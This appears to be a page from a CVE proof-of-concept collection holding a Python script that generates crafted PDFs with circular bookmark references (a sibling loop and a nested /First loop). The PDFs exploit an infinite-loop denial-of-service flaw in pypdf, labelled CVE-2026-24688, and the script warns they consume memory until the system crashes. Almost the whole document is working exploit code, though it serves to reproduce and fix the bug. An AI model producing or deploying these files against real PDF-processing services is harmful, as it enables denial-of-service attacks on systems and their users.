4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / create_malicious_pdf.py PY
#!/usr/bin/env python3
"""
Create a malicious PDF with circular outline references.

This demonstrates the infinite loop vulnerability in pypdf's outline parsing (CVE-2026-24688).
"""

import sys
from pathlib import Path

# Add pypdf to path
sys.path.insert(0, str(Path(__file__).parent.parent))

from pypdf import PdfWriter
from pypdf.generic import (
    ArrayObject,
    DictionaryObject,
    IndirectObject,
    NameObject,
    NumberObject,
    TextStringObject,
)


def create_malicious_circular_outline():
    """
    Create a PDF with circular outline reference: A → B → A
    
    This will cause an infinite loop when accessing reader.outline
    """
    writer = PdfWriter()
    
    # Add a blank page so PDF is valid
    writer.add_blank_page(width=200, height=200)
    
    # Manually create outline structure with circular reference
    # We need to create the outline dictionary and items manually
    
    # Create outline items FIRST (before registering)
    outline_item_a = DictionaryObject()
    outline_item_b = DictionaryObject()
    
    # Register them to get indirect references
    ref_a = writer._add_object(outline_item_a)
    ref_b = writer._add_object(outline_item_b)
    
    # Now populate Item A
    outline_item_a.update({
        NameObject("/Title"): TextStringObject("Bookmark A"),
        NameObject("/Parent"): IndirectObject(1, 0, writer),  # Will point to outlines dict
        NameObject("/Next"): ref_b,  # Points to B
        NameObject("/Dest"): ArrayObject([writer.pages[0].indirect_reference, NameObject("/Fit")]),
    })
    
    # Populate Item B with CIRCULAR REFERENCE back to A
    outline_item_b.update({
        NameObject("/Title"): TextStringObject("Bookmark B"),
        NameObject("/Parent"): IndirectObject(1, 0, writer),  # Will point to outlines dict
        NameObject("/Next"): ref_a,  # ← CIRCULAR REFERENCE!
        NameObject("/Dest"): ArrayObject([writer.pages[0].indirect_reference, NameObject("/Fit")]),
    })
    
    # Create the main outlines dictionary
    outlines_dict = DictionaryObject()
    outlines_ref = writer._add_object(outlines_dict)
    
    outlines_dict.update({
        NameObject("/Type"): NameObject("/Outlines"),
        NameObject("/First"): ref_a,
        NameObject("/Last"): ref_b,
        NameObject("/Count"): NumberObject(2),
    })
    
    # Update parent references
    outline_item_a[NameObject("/Parent")] = outlines_ref
    outline_item_b[NameObject("/Parent")] = outlines_ref
    
    # Add outlines to catalog
    writer.root_object[NameObject("/Outlines")] = outlines_ref
    
    # Write the malicious PDF
    output_path = Path(__file__).parent / "malicious_circular_outline.pdf"
    with open(output_path, "wb") as f:
        writer.write(f)
    
    print(f"  Created malicious PDF: {output_path}")
    print()
    print("PDF structure:")
    print("  Outline Item A → Next: Item B")
    print("  Outline Item B → Next: Item A  ← CIRCULAR!")
    print()
    print("   WARNING: Opening this PDF with pypdf will cause an INFINITE LOOP!")
    return output_path


def create_nested_circular_outline():
    """
    Create PDF with nested circular reference via /First
    
    Structure:
      A → /First: B
      B → /Next: C
      C → /First: A  ← Circular via nesting
    """
    writer = PdfWriter()
    writer.add_blank_page(width=200, height=200)
    
    # Create items
    item_a = DictionaryObject()
    item_b = DictionaryObject()
    item_c = DictionaryObject()
    
    ref_a = writer._add_object(item_a)
    ref_b = writer._add_object(item_b)
    ref_c = writer._add_object(item_c)
    
    # A has B as child
    item_a.update({
        NameObject("/Title"): TextStringObject("Section A"),
        NameObject("/First"): ref_b,  # Child: B
        NameObject("/Dest"): ArrayObject([writer.pages[0].indirect_reference, NameObject("/Fit")]),
    })
    
    # B has C as next
    item_b.update({
        NameObject("/Title"): TextStringObject("Section B"),
        NameObject("/Next"): ref_c,  # Next sibling: C
        NameObject("/Parent"): ref_a,
        NameObject("/Dest"): ArrayObject([writer.pages[0].indirect_reference, NameObject("/Fit")]),
    })
    
    # C has A as child ← CIRCULAR!
    item_c.update({
        NameObject("/Title"): TextStringObject("Section C"),
        NameObject("/First"): ref_a,  # ← Circular reference!
        NameObject("/Parent"): ref_a,
        NameObject("/Dest"): ArrayObject([writer.pages[0].indirect_reference, NameObject("/Fit")]),
    })
    
    # Main outlines
    outlines_dict = DictionaryObject()
    outlines_ref = writer._add_object(outlines_dict)
    
    outlines_dict.update({
        NameObject("/Type"): NameObject("/Outlines"),
        NameObject("/First"): ref_a,
        NameObject("/Last"): ref_a,
        NameObject("/Count"): NumberObject(1),
    })
    
    item_a[NameObject("/Parent")] = outlines_ref
    
    writer.root_object[NameObject("/Outlines")] = outlines_ref
    
    output_path = Path(__file__).parent / "malicious_nested_circular.pdf"
    with open(output_path, "wb") as f:
        writer.write(f)
    
    print(f"Created nested circular PDF: {output_path}")
    print()
    print("PDF structure:")
    print("  A → /First: B")
    print("  B → /Next: C")
    print("  C → /First: A  ← CIRCULAR VIA NESTING!")
    return output_path


if __name__ == "__main__":
    print("=" * 70)
    print("pypdf Circular Outline Reference - PoC Generator")
    print("=" * 70)
    print()
    
    # Create malicious PDF
    pdf1 = create_malicious_circular_outline()
    
    print()
    print("=" * 70)
    print("Malicious PDF created successfully!")
    print("=" * 70)
    print()
    print("To test the vulnerability:")
    print()
    print("timeout 15s python test_exploit.py")
    print()
    print("WARNING: This will consume ~500 MB/sec and crash your system!")